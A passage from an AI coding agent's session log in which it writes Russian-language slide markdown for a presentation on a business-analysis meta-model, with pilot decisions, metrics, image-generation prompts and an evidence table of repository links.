\u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4, \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n**\u0420\u0435\u0448\u0435\u043d\u0438\u044f \u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433.**\\n\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 1:** \u0434\u043e\u0441\u0442\u0443\u043f \u043a Mango AI \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0433\u043e\\n  runner'\u0430 \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 2:** \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 10 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 contact-center \u0441 \u0437\u0430\u043c\u0435\u0440\u043e\u043c\\n  `M-1`\u2026`M-4` \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435 3:** \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u0440\u0430\u043d\u0435\u0435: \u043c\u0435\u043d\u044c\u0448\u0435 95%\\n  \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430\\n  \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0427\u0442\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 n8n, Dify \u0438\u043b\u0438 Flowise \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n> **\u0417\u0430\u043f\u0440\u043e\u0441:** \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u00ab\u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\\n> \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nThree illuminated switches on a clean control panel, two already in\\nthe on position and one waiting; behind the panel a calm, well-lit\\nserver room is ready to power up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0440\u0435\u0434\u0430\u043c \u0438 \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\\n---\\n\\n## \u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\\n| \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 | \u0413\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c |\\n| --- | --- |\\n| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 | [`mango_ba_prompts/runs`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs), [\u0441\u043d\u0438\u043c\u043e\u043a \u043a\u043e\u0440\u043f\u0443\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-08-25-mango-runs-empirical-snapshot.md) |\\n| 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0434\u0435\u0444\u0435\u043a\u0442\u0430\u043c, 4 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) |\\n| `M-1 = 0.0`, 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440 | [\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 | [\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md) |\\n| \u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b `MM-1`\u2026`MM-4` | [\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) |\\n| 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f, 5 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 | [\u0442\u0435\u043e\u0440\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md) |\\n| \u041e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 | [\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) |\\n| Release \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c | [\u0413-16](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md) |\\n| \u0423 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f; \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 n1\u2013n3 | [\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md) |\\n\"\n[2026-09-29T07:49:33.529Z] [INFO]     }\n[2026-09-29T07:49:33.529Z] [INFO]   }\n[2026-09-29T07:49:33.529Z] [INFO] }\n[2026-09-29T07:49:33.568Z] [INFO] {\n[2026-09-29T07:49:33.568Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"message\": {\n[2026-09-29T07:49:33.568Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"content\": [\n[2026-09-29T07:49:33.568Z] [INFO]       {\n[2026-09-29T07:49:33.568Z] [INFO]         \"tool_use_id\": \"toolu_01V7BP9qiNijimiUJdzdmZen\",\n[2026-09-29T07:49:33.568Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:33.568Z] [INFO]         \"content\": \"File created successfully at: /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md (file state is current in your context \u2014 no need to Read it back)\"\n[2026-09-29T07:49:33.568Z] [INFO]       }\n[2026-09-29T07:49:33.568Z] [INFO]     ]\n[2026-09-29T07:49:33.568Z] [INFO]   },\n[2026-09-29T07:49:33.568Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:33.568Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"uuid\": \"c7e74219-2927-4d8b-8f0d-76f311a2ee55\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:32.756Z\",\n[2026-09-29T07:49:33.568Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:33.568Z] [INFO]     \"type\": \"create\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:49:33.568Z] [INFO]     \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u043b\u0430\u0439\u0434\u044b\\n\\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 